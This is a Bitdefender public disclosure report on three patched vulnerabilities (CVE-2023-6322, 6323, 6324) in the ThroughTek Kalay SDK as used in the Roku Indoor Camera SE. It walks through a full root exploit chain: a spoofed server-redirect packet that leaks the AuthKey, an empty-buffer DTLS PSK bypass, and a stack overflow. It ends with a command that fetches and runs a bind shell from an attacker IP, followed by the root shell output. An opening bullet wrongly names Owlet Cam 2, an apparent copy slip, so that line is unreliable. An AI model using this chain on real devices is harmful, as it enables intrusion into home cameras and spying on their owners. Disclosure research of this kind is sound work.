Bitdefender

PUBLIC REPORT

Vulnerabilities Identified in Roku Indoor Camera SE

Trusted. Always.

Contents

VULNERABILITIES AT A GLANCE 3

DISCLOSURE TIMELINE 3

TECHNICAL WALKTHROUGH 3

As the creator of the world's first smart home cybersecurity hub, Bitdefender regularly audits popular IoT hardware for vulnerabilities. This research paper is part of a broader program that aims to shed light on the security of the world's best-sellers in the IoT space. This report covers vulnerabilities discovered while researching the Roku Indoor Camera SE home security camera.

NOTE: the vulnerabilities presented in this paper have been responsibly disclosed to the affected vendor. An automatic device update to firmware version 3.0.2.7095 - release 1/26/2024 fixes the issues.

Vulnerabilities at a glance

- Bitdefender researchers have identified three vulnerabilities in a communication framework called ThroughTek Kalay (TUTK). This solution is used in a variety of IoT devices, including Owlet Cam 2.
- These vulnerabilities are present in a communication framework called ThroughTek Kalay (TUTK). This solution is used in a variety of IoT devices, including the Roku Indoor Camera SE.
- CVE-2023-6322 allows an attacker to gain root access by exploiting a stack-based buffer overflow vulnerability in the handler of an IOCTL message that is used by the camera to set the motion detection zone.
- CVE-2023-6323 allows a local attacker to leak the **AuthKey** secret by impersonating the P2P cloud server used by the device.
- CVE-2023-6324 leverages a vulnerability where a local attacker can infer the pre-shared key for a DTLS session by forcing an empty buffer.
- Chained together, these vulnerabilities allow an attacker to obtain root access from the local network and fully compromise the camera.

Disclosure timeline

- Oct 19, 2023: Bitdefender sends out a contact request through the vendor's chat support system.
- Oct 26, 2023: The full report is sent to security@roku.com
- Oct 27, 2023: The Roku security team acknowledges the message and starts reviewing
- Nov 17, 2023: Bitdefender follows up for updates
- Jan 26, 2024: Vendor publishes a new update that fixes the issues

Technical walkthrough

The Roku Indoor Camera SE uses ThroughTek's Kalay solution to communicate with clients over the Internet. This functionality is implemented through the TUTK SDK. Connections from the smartphone app to the device are all handled through this service.

To connect to the device the smartphone app needs to know a secret string called **AuthKey**. The device will refuse any connection that does not have the correct key. Through CVE-2023-6323 we found a way to leak this **AuthKey**.

First, we need to obtain the P2P ID of the device. This is straightforward, as the TUTK SDK service will listen for broadcast messages querying for devices (on port 32761), and responds with the device's P2P ID, local IP, and UDP port on which the SDK is listening. This port is randomized at each startup and is used to communicate with the cloud servers and local clients.

Under normal circumstances the device communicates through UDP with several cloud servers. Those servers have authority over the device and can issue commands to it. Each UDP packet exchanged represents a message and contains an ID describing its type. Among these types is message 0x1008, which tells the device to connect to an alternative P2P cloud server. The SDK does not verify the authenticity of the received messages.

As we are in the same local network as the device, we can spoof a message with ID 0x1008 and make it appear as if the authoritative cloud server sent it. This message will instruct the SDK to connect to a server controlled by us and trust it as a P2P server, giving us control over the device. Before encoding, the spoofed packet looks like this:

```
04 02 19 00 7E 00 00 00  08 10 83 00 00 00 00 00  |....~...........|
38 [redacted]                                    32  |8[redacted]2|
31 31 31 41 00 00 00 00  00 00 00 00 00 00 00 00  |111A............|
00 00 00 00 02 00 E6 AA  BC 18 6B A6 00 00 00 00  |..........k.....|
00 00 00 00 05 00 03 00  02 00 30 00 02 00 27 11  |..........0...'.|
40 4A A0 92 00 00 00 00  00 00 00 00 02 00 27 11  |@J............'.|
A7 72 AE 95 00 00 00 00  00 00 00 00 02 00 27 11  |.r............'.|
0A 00 00 01 00 00 00 00  00 00 00 00 03 00 04 00  |................|
30 00 00 00 01 00 06 00  29 C0 02 F3 08 F1        |0.......).....  |
```

The packet contains the P2P ID, obtained in the first step, which is redacted. The first highlighted part, hex 0x2711, specifies the target port, and 0x0A000001 is the target IP hex encoded (in this case our IP, 10.0.0.1).

Upon receiving this packet, the device initiates communication with the specified server. It begins by sending its **AuthKey** to the new server, which is controlled by us, using the command 0x122. In some cases, it might first ask for its public IP, as part of NAT traversal functionality, through the 0x8003 command. If we respond with 0x8004 it will then send the 0x122 packet containing the key.

```
00000000  04 02 1b 02 20 00 00 00  22 01 14 00 00 00 00 00  |.... ...".......|
00000010  38 [redacted]                                    32  |8[redacted]2|
00000020  31 31 31 41 75 59 54 44  68 31 4a 5a 43 ab 2e 65  |111AuYTDh1JZC..e|
```

In this case the **AuthKey** is **uYTDh1JZ**. This key is random for each device.

Having obtained the **AuthKey**, we are now one step closer to authenticating with the device.

Knowing the P2P ID and AuthKey now we can connect to the camera, but we cannot establish a DTLS session which is required to control the device. During normal operation, a client requires a secret value which is a random key used as a pre-shared key (PSK) when establishing the DTLS session.

There are two PSK identities that tell the SDK which PSK to use: **AUTHPWD_** and **AUTHTKN_**. For each identity the handling function will retrieve their respective secret and will compute its SHA256 hash value, which will then be used as the PSK for the DTLS session. The identity is specified by the connecting client.

```
44    memset(buffer,0,0x401);
45    iVar1 = strncmp("AUTHPWD_",param_2,8);
46    if (iVar1 == 0) {
47      iVar1 = (**(code **)(param_5 + 0x198c))(param_5,param_2 + 8,buffer,0x101);
48      buffer_len = strnlen(buffer,0x101);
49      if (buffer_len == 0x101) {
50        return 0;
51      }
52    }
53    else {
54      iVar1 = strncmp("AUTHTKN_",param_2,8);
55      buffer_len = 0;
56      if (iVar1 != 0) goto LAB_005ef35c;
57      iVar1 = (**(code **)(param_5 + 0x1990))(param_5,param_2 + 8,buffer,0x401);
58      buffer_len = strnlen(buffer,0x401);
59      if (buffer_len == 0x401) {
60        return 0;
61      }
62    }
63    if (iVar1 < 0) {
64      return 0;
65    }
66  LAB_005ef35c:
67    iVar1 = TUTK3rdSHA256((uchar *)buffer,buffer_len,sha_output,0x20);
68    if (iVar1 < 0) {
69      return 0;
70    }
```

The code checking the requested PSK identity will leave the buffer empty if it encounters an identity that does not match any of the expected values. It will then perform the SHA256 hash on the empty buffer, resulting in a known hash value that will then be used as the PSK for the DTLS session.

This vulnerability, known as CVE-2023-6324, allows us to establish a DTLS session with the device without knowing the secret value. We simply use the same known hash value for the empty buffer as the PSK while specifying an invalid PSK identity.

Now that we have established a DTLS session, we have the same privileges as a legitimate client, and we can issue the same commands.

We have found an authenticated stack-based buffer overflow vulnerability, known as CVE-2023-6322, which allows us to gain root access.

The TUTK SDK allows vendors to integrate custom handlers for actions specific to their products. These actions are triggered through special messages called IOCTLs. Only authenticated users can send those messages. A stack-based buffer overflow vulnerability exists in the handler of IOCTL message 0x284C, which is used to set the motion detection zone.

This function copies a maximum of three chunks of data from the packet to the stack. The size of the chunk is specified by the client and the device does not check if the data fits into the slice of the buffer. In this case each slice is 178 bytes long, but the copied data can be as large as 255 bytes.

```
undefined uVar1;
byte bVar2;
char cVar3;
int iVar4;
char *pbVar5;
int index;
int less_than_4;
byte local_450;
char auStack_44f [534];
char stack_target [534];

local_450 = *(byte *)(param_1 + 0xad);
less_than_4 = (int)local_450;
uVar1 = *(undefined *)(param_1 + 0xac);
if ((uint)less_than_4 < 4) {
  pbVar5 = stack_target + 0x20;
  iVar4 = 0x12;
  for (index = 0; index < less_than_4; index = index + 1) {
    memcpy((byte *)pbVar5 + -0x20,(void *)(param_1 + iVar4 + 0x9c),0x20);
    bVar2 = *(byte *)(param_1 + iVar4 + 0xbc);
    iVar4 = iVar4 + 0x21;
    *pbVar5 = bVar2;
    if (bVar2 != 0) {
      memcpy(stack_target + index * 0xb2 + 0x21,(void *)(param_1 + iVar4 + 0x9c),(uint)bVar2);
      iVar4 = iVar4 + (uint)(byte)*pbVar5;
    }
    pbVar5 = (char *)((byte *)pbVar5 + 0xb2);
  }
  memcpy(auStack_44f,stack_target,0x216);
  if (*(code **)(*DAT_007d7e9c + 0xbc) == (code *)0x0) {
    FUN_0040fd18("camera_control_set_motion_detection_zone_settings");
  }
  else {
    cVar3 = (**(code **)(*DAT_007d7e9c + 0xbc))(DAT_007d7e9c,uVar1,&local_450);
    if (cVar3 == '\x03') {
      cVar3 = '\x01';
    }
    *(char *)(param_1 + 0x4ac) = cVar3;
  }
}
else {
  *(undefined *)(param_1 + 0x4ac) = 2;
}
return 1;
```

To exploit this vulnerability, we use a gadget that calls exec_shell_sync with an arbitrary string as the parameter. The string is limited to 44 characters.

```
0041a2f4 20 00 a4 27     addiu       a0,sp,0x20
0041a2f8 04 57 1d 0c     jal         exec_shell_sync
```

Example of command that achieves code execution:

cd /tmp;wget 10.0.0.1/q;chmod +x q;./q

This command will download a TCP bind shell from 10.0.0.1:80 and run it. We then connect to the shell, obtaining root access:

 # nc 10.0.0.17 4444

id; uname -a

uid=0(root) gid=0(root)

Linux WCV3 3.10.14__isvp_swan_1.0__ #5 PREEMPT Wed Mar 2 16:42:51 CST 2022 mips GNU/Linux

Romania HQ
Orhideea Towers
15A Orhideelor Road,
6th District,
Bucharest 060071
T: +40 21 4412452
F: +40 21 4412453

US HQ
3945 Freedom Circle,
Suite 500, Santa Clara,
CA, 95054

bitdefender.com

Bitdefender-PReport-roku-7745
CD-05/15/24 • MD-May 15, 2024 8:49 am